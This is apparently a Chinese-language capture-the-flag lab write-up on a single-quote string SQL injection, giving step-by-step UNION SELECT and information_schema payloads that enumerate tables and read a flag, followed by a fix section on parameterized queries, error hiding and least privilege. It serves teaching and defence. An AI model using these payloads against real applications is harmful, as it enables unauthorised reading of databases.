【好靶场】报错注入-sql注入-字符型

【好靶场】报错注入-sql注入-字符型

  • 前言
    • 一、前置核心原理
      • [1. 字符型注入的本质:字符串闭合失效](#1. 字符型注入的本质:字符串闭合失效)
      • [2. 注释符 -- 空格的必要性](#2. 注释符 -- 空格的必要性)
      • [3. 本次注入三大核心语法作用](#3. 本次注入三大核心语法作用)
      • [4. UNION 注入硬性规则](#4. UNION 注入硬性规则)
    • 二、靶场信息与测试目标
      • [1. 靶场基础信息(初始仅从页面截图可知)](#1. 靶场基础信息(初始仅从页面截图可知))
      • [2. 本文测试目标](#2. 本文测试目标)
    • [三、漏洞验证与 Flag 获取过程](#三、漏洞验证与 Flag 获取过程)
      • [步骤 1:用单引号确认是否存在字符型注入](#步骤 1:用单引号确认是否存在字符型注入)
      • [步骤 2:使用 `ORDER BY` 判断字段数量](#步骤 2:使用 ORDER BY 判断字段数量)
      • [步骤 3:使用 `UNION SELECT` 寻找回显位](#步骤 3:使用 UNION SELECT 寻找回显位)
      • [步骤 4:枚举当前数据库中的数据表](#步骤 4:枚举当前数据库中的数据表)
      • [步骤 5:枚举 `flag` 表的字段名](#步骤 5:枚举 flag 表的字段名)
      • [步骤 6:读取 Flag](#步骤 6:读取 Flag)
    • [四、把每一步串成完整的 SQL 执行逻辑](#四、把每一步串成完整的 SQL 执行逻辑)
    • 五、常见失败点与排查思路
      • [1. `--` 后少了空格](#1. -- 后少了空格)
      • [2. `UNION SELECT` 列数不一致](#2. UNION SELECT 列数不一致)
      • [3. 只知道列数,不知道数据展示在哪里](#3. 只知道列数,不知道数据展示在哪里)
      • [4. 表名或字段名没有加引号](#4. 表名或字段名没有加引号)
      • [5. 浏览器、代理工具改变了特殊字符](#5. 浏览器、代理工具改变了特殊字符)
    • 六、漏洞根因与修复建议
      • [1. 根因:将外部输入直接拼接到 SQL 文本](#1. 根因:将外部输入直接拼接到 SQL 文本)
      • [2. 正确修复:使用参数化查询](#2. 正确修复:使用参数化查询)
      • [3. 输入校验只能作为补充](#3. 输入校验只能作为补充)
      • [4. 不把数据库报错直接返回给用户](#4. 不把数据库报错直接返回给用户)
      • [5. 数据库账户遵循最小权限](#5. 数据库账户遵循最小权限)
    • 总结

前言

在 SQL 注入学习中,很多人习惯直接复制 Payload 拿 Flag,却无法独立分析漏洞成因与利用逻辑。想要真正掌握注入,必须建立一套标准化探测流程:判断可控输入、确定闭合方式、探测字段数量、定位回显位置、枚举库表结构、读取目标数据。

本次靶场为单引号闭合字符型 SQL 注入 ,页面具备 SQL 错误回显且支持 UNION 联合查询。这里做一次关键概念纠正:本题仅依靠报错完成漏洞探测,核心数据利用方式为 UNION 联合查询,不属于报错注入利用

后端原始 SQL 语句将用户搜索参数直接拼接查询,无过滤、无预编译,存在完整注入漏洞:

sql 复制代码
SELECT id, name, email, department, salary, phone, address
FROM user
WHERE name = '$name'

下文将严格按照 0 到 1 的完整复现流程,每一步包含探测意图、输入 Payload、页面现象、原理分析,形成可迁移、可复用的注入思维。


一、前置核心原理

1. 字符型注入的本质:字符串闭合失效

数字型注入无需闭合符号,而字符型注入依靠引号包裹参数,必须破坏引号结构才能篡改 SQL 逻辑。

正常搜索时,参数被单引号完整包裹:

sql 复制代码
WHERE name = '张三'

当我们输入单引号 ' 时,原字符串被提前闭合,后端 SQL 出现语法残缺:

sql 复制代码
WHERE name = '''

数据库抛出 1064 语法错误,证明用户输入成功参与 SQL 解析,且当前闭合方式为单引号字符型

2. 注释符 -- 空格的必要性

MySQL 中 -- 必须后跟空格才是合法单行注释。

注入的核心逻辑,不仅是构造前面的语句,更需要注释掉后端残留的闭合符号,避免语句报错失效。

输入:' order by 7--

最终生效 SQL:

sql 复制代码
WHERE name = '' ORDER BY 7 -- '

末尾单引号被注释,语句结构完整可正常执行。所有注入失败、语法报错的高频原因,基本都是注释空格丢失、特殊字符被编码导致。

3. 本次注入三大核心语法作用

语法 核心作用 本题使用场景
ORDER BY 通过依次递增排序字段,探测原始查询的总列数 UNION 查询必须保证前后字段数量一致,这是联合注入的硬性前提
UNION SELECT 拼接自定义查询结果,用于在页面回显我们需要的数据 读取库名、表名、字段、Flag 数据
information_schema MySQL 系统元数据表,可枚举库、表、字段信息 无后台权限时自动枚举数据库结构

4. UNION 注入硬性规则

联合查询执行必须满足两个条件:

  1. 前后两条 SELECT 查询字段数量完全一致;
  2. 对应字段数据类型兼容、可页面渲染。

经过探测,本题原始查询固定返回 7 列,因此所有 UNION Payload 必须严格构造 7 个字段占位。


二、靶场信息与测试目标

1. 靶场基础信息(初始仅从页面截图可知)

仅能直接观察到的内容:

⚠️ 重点:在最开始测试前,我们完全不知道后端SQL长什么样、查询了几列、表格字段对应关系,这些全部都要靠一步步注入探测得出,不能提前预设。

2. 本文测试目标

在不修改、写入数据库数据的前提下,按顺序完成整套注入验证流程:

text 复制代码
确认是否存在字符型注入
    ↓
探测原始SQL查询的列数量
    ↓
定位页面可展示数据的回显位置
    ↓
枚举当前数据库内所有数据表
    ↓
枚举目标flag表内的字段名
    ↓
读取flag字段内的目标数据

三、漏洞验证与 Flag 获取过程

步骤 1:用单引号确认是否存在字符型注入

输入内容:

text 复制代码
'

点击"搜索"后,页面返回:

text 复制代码
查询错误: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")

观察与分析:

  • 错误编号 1064 是 MariaDB / MySQL 常见的 SQL 语法错误;
  • 错误位置紧邻单引号,符合用户输入打断字符串边界的特征;
  • 这说明输入很可能没有经过参数化处理,而是被拼接进了 SQL 文本。

结论:

可以初步确认这是一个由单引号闭合的字符型 SQL 注入点

下一步动作:

既然输入可以改变 SQL 语法,就继续用 ORDER BY 判断原查询返回了多少列,为 UNION SELECT 做准备。


步骤 2:使用 ORDER BY 判断字段数量

先输入:

text 复制代码
' order by 7--

观察页面现象:

页面没有 SQL 报错,仍然能够正常显示搜索结果表格。

然后将数字增加 1,输入:

text 复制代码
' order by 8--

观察页面现象:

页面出现数据库错误,常见表现是"未知列"或与排序位置相关的 SQL 错误。

为什么能这样判断:

ORDER BY 7 表示按结果集的第 7 列排序。若结果集中确实有第 7 列,数据库可以正常执行;ORDER BY 8 则请求按不存在的第 8 列排序,因此会失败。

text 复制代码
ORDER BY 7  正常
ORDER BY 8  报错
        ↓
原查询结果集共有 7 列

结论:

原查询返回 7 列 。因此构造联合查询时,UNION SELECT 后面也必须提供 7 个字段。

下一步动作:

17 作为标记值进行联合查询,确认这 7 个位置中哪些会显示在页面上。

注意:ORDER BY 8 的本质通常不是"语法错误",而是引用了超出结果集范围的排序列。不同靶场可能对错误信息进行了统一包装,页面上都可能只显示为"查询错误"。判断时以"7 正常、8 稳定失败"的对照现象为准。


步骤 3:使用 UNION SELECT 寻找回显位

输入内容:

text 复制代码
' union select 1,2,3,4,5,6,7--

页面回显:

搜索结果表格中出现一行内容:

分析:

这条语句成功执行,说明列数已经匹配。页面字段与联合查询位置的关系如下:

ID 姓名 邮箱 部门 薪资 电话 地址
1 2 3 4 5 6 7

理论上这 7 个位置都能看到标记值。为了后续记录统一,本文选择第 3 位"邮箱"承载查询结果。将要显示的内容放在第 3 个表达式,其余位置使用常量占位即可。

结论:

第 3 列是稳定、清晰的回显位,后续统一使用:

sql 复制代码
UNION SELECT 1, 2, <要显示的数据>, 4, 5, 6, 7

下一步动作:

通过 information_schema.tables 查询当前数据库的表名。


步骤 4:枚举当前数据库中的数据表

输入内容:

text 复制代码
' union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

页面回显:

邮箱列显示:

text 复制代码
users,flag

Payload 语法拆解讲解:

sql 复制代码
information_schema.tables

保存数据库中表的元数据;而:

sql 复制代码
table_schema = database()

把范围限制为当前正在使用的数据库,避免枚举到其他库的表名。

group_concat(table_name) 会把多行表名拼成一个逗号分隔的字符串。这样即使页面只显示一行记录,也能一次看到多个表名。

结论:

当前库中至少存在:

text 复制代码
users
flag

其中 flag 的命名具有明显的题目特征,优先查看其字段结构。

下一步动作:

information_schema.columns 中查询 flag 表的字段名。为了避免同名表存在于其他数据库,查询时也要加上当前库限制。


步骤 5:枚举 flag 表的字段名

输入内容:

text 复制代码
' union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database() and table_name='flag'--

页面回显:

邮箱列显示:

text 复制代码
id,flag

分析:

information_schema.columns 记录每张表的列信息。这里已经确认:

  • id:通常为记录编号;
  • flag:字段名直接表明其内容就是题目目标。

结论:

目标数据位于 flag 表的 flag 字段中。

下一步动作:

flag 表读取该字段内容。


步骤 6:读取 Flag

输入内容:

text 复制代码
' union select 1,2,group_concat(flag),4,5,6,7 from flag--

页面回显:

邮箱列直接显示 Flag 字符串。

bash 复制代码
flag{3bfc1b7d820e465090e090ef93cdaa0b}

为什么这里仍使用 group_concat()

如果 flag 表只有一条记录,直接写 flag 也可以;使用 group_concat(flag) 的好处是,即使有多条记录,页面仍会将结果拼接为一条字符串返回,适合只有一个固定回显位的场景。

最终结论:

漏洞利用链路完整闭合:输入可控 → 打断字符边界 → 联合查询成功 → 数据库结构可枚举 → 可读取 flag 字段。至此,本题验证完成。


四、把每一步串成完整的 SQL 执行逻辑

以最后一步为例,搜索框输入:

text 复制代码
' union select 1,2,group_concat(flag),4,5,6,7 from flag--

服务端拼接后,核心 SQL 逻辑可以理解为:

sql 复制代码
SELECT id, name, email, department, salary, phone, address
FROM user
WHERE name = ''
UNION
SELECT 1, 2, GROUP_CONCAT(flag), 4, 5, 6, 7
FROM flag -- '

其中:

  1. 开头的 ' 闭合了 name = ' 中原有的字符串;
  2. name = '' 通常不会匹配到目标记录,但这不是重点;
  3. UNION SELECT 把第二段查询的结果追加到页面结果中;
  4. GROUP_CONCAT(flag) 放在第 3 位,所以会显示在"邮箱"列;
  5. -- 注释掉后端拼接在末尾的单引号。

整个过程可以概括为:

text 复制代码
单引号报错
    ↓
确认字符串闭合
    ↓
ORDER BY 确认 7 列
    ↓
UNION SELECT 1~7 确认回显位
    ↓
information_schema 查询表名与字段名
    ↓
从 flag.flag 读取目标内容

五、常见失败点与排查思路

1. -- 后少了空格

错误写法:

text 复制代码
' union select 1,2,3,4,5,6,7--

推荐写法:

text 复制代码
' union select 1,2,3,4,5,6,7--

MySQL / MariaDB 中 -- 后通常需要空白字符才能被识别为注释。末尾空格丢失时,原语句的尾部单引号可能没有被注释,导致错误。

2. UNION SELECT 列数不一致

例如已确认原查询有 7 列,却误写成:

sql 复制代码
UNION SELECT 1,2,3

数据库会拒绝联合查询。必须保证两个 SELECT 的列数一致。本题固定使用 7 个位置:

sql 复制代码
1,2,<回显内容>,4,5,6,7

3. 只知道列数,不知道数据展示在哪里

ORDER BY 只能帮助确定列数,不能判断页面到底显示哪一列。必须继续使用:

text 复制代码
' union select 1,2,3,4,5,6,7--

通过标记值和表格表头一一对应后,再决定把数据放到哪里。

4. 表名或字段名没有加引号

查询元数据时,字符串条件必须写成字符串:

sql 复制代码
table_name='flag'

而不是:

sql 复制代码
table_name=flag

后者会把 flag 当作标识符解析,容易造成错误或查询不到结果。

5. 浏览器、代理工具改变了特殊字符

单引号、空格和 # 等字符在不同请求方式中可能被编码或截断。遇到"本来正确的 Payload 没有预期现象"时,可检查:

  • 最终发出的请求参数是否仍包含单引号;
  • -- 后的空格是否保留;
  • 请求是否被前端校验、URL 编码或 WAF 规则改写;
  • 同一 Payload 是否能稳定复现相同的状态码、错误提示或回显。

不要仅凭一次页面变化下结论,应使用正常输入、测试输入和重复请求做对照。


六、漏洞根因与修复建议

1. 根因:将外部输入直接拼接到 SQL 文本

漏洞代码的核心问题通常类似:

php 复制代码
$sql = "SELECT id, name, email, department, salary, phone, address
        FROM user
        WHERE name = '$name'";
$result = $pdo->query($sql);

此时 $name 不再只是"数据",而可能成为 SQL 语法的一部分。无论只过滤单引号、空格还是 UNION 关键字,都无法从根本上解决这个问题。

2. 正确修复:使用参数化查询

以 PDO 为例,应把 SQL 结构与用户数据分开:

php 复制代码
$pdo = new PDO($dsn, $username, $password, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);

$sql = 'SELECT id, name, email, department, salary, phone, address
        FROM user
        WHERE name = :name';

$stmt = $pdo->prepare($sql);
$stmt->execute([':name' => $name]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);

在参数化查询中,$name 会作为一个值绑定,而不会参与 SQL 语法解析。即使用户输入单引号,也只会被当成普通字符处理。

3. 输入校验只能作为补充

如果业务要求姓名只允许中文、字母、空格和有限长度,应额外做格式与长度校验。但要明确:

text 复制代码
输入校验 ≠ SQL 注入的根本修复
预编译 / 参数绑定 = 必须具备的根本修复

输入校验用于保证业务数据质量;参数化查询用于隔离代码与数据,防止注入。

4. 不把数据库报错直接返回给用户

本题之所以能快速判断注入类型,是因为页面直接暴露了 MariaDB 错误信息。在生产环境中应:

  • 对用户返回统一、无敏感信息的错误提示;
  • 将数据库错误写入受保护的服务端日志;
  • 配合错误追踪系统定位问题;
  • 避免泄露数据库类型、SQL 片段、表名、文件路径和版本信息。

这不能替代参数化查询,但可以减少信息泄露带来的利用便利。

5. 数据库账户遵循最小权限

业务连接账号只授予实际业务表所需的 SELECTINSERTUPDATE 等权限,不使用高权限管理员账号连接应用。最小权限不能消除注入漏洞,但能够在漏洞出现时缩小可读取、可修改的范围。


总结

这道题最重要的不是机械记忆 Payload,而是建立稳定的判断链:

text 复制代码
输入 ' 出现数据库语法错误
    → 证明引号边界可能可控

ORDER BY 7 正常、ORDER BY 8 失败
    → 证明原查询有 7 列

UNION SELECT 1,2,3,4,5,6,7 成功回显
    → 确认联合查询可用并定位页面输出列

查询 information_schema.tables / columns
    → 获得 flag 表和 flag 字段

在第 3 个回显位查询 GROUP_CONCAT(flag)
    → 读取最终目标数据

对于这类字符型联合注入题,始终遵循"先验证、再测列数、再找回显、最后枚举结构与读取数据 "的顺序,能显著减少盲猜和无效测试。更重要的是,从防守角度看,所有这些步骤最终都指向同一个根因:应用把不可信输入拼进了 SQL 文本。 使用参数化查询,才是解决该问题的正确方式。

相关推荐
HwJack2019 分钟前
鸿蒙ArkData键值型数据库实战:Schema 定义与商品库存同步案例
数据库·华为·harmonyos
todoitbo26 分钟前
PDF 合并、转换也能自己部署:极空间运行 Stirling PDF,文件交给自己的服务器处理
网络安全·pdf·文件·nas·极空间
oradh31 分钟前
Oracle表在线重定义操作总结
数据库·oracle·oracle表在线重定义
拾光Ծ41 分钟前
【MySQL】基础入门:库操库、数据表操作与数据类型详解
数据库·sql·mysql·数据类型·库操作·表操作
存在morning42 分钟前
【Flink SQL 学习笔记 三】维表关联:Lookup Join、Temporal Join、窗口 Join
sql·学习·flink
cspttty44 分钟前
哪些证书可以弥补学历不足
大数据·数据库·数据挖掘
Chasing__Dreams1 小时前
向量数据库--Milvus--2--介绍
数据库·milvus
redfred1 小时前
DBeaver 使用教程:开源免费数据库管理工具 100+ 数据库连接 SQL编辑器 ER图 AI生成SQL 全平台
数据库·sql·开源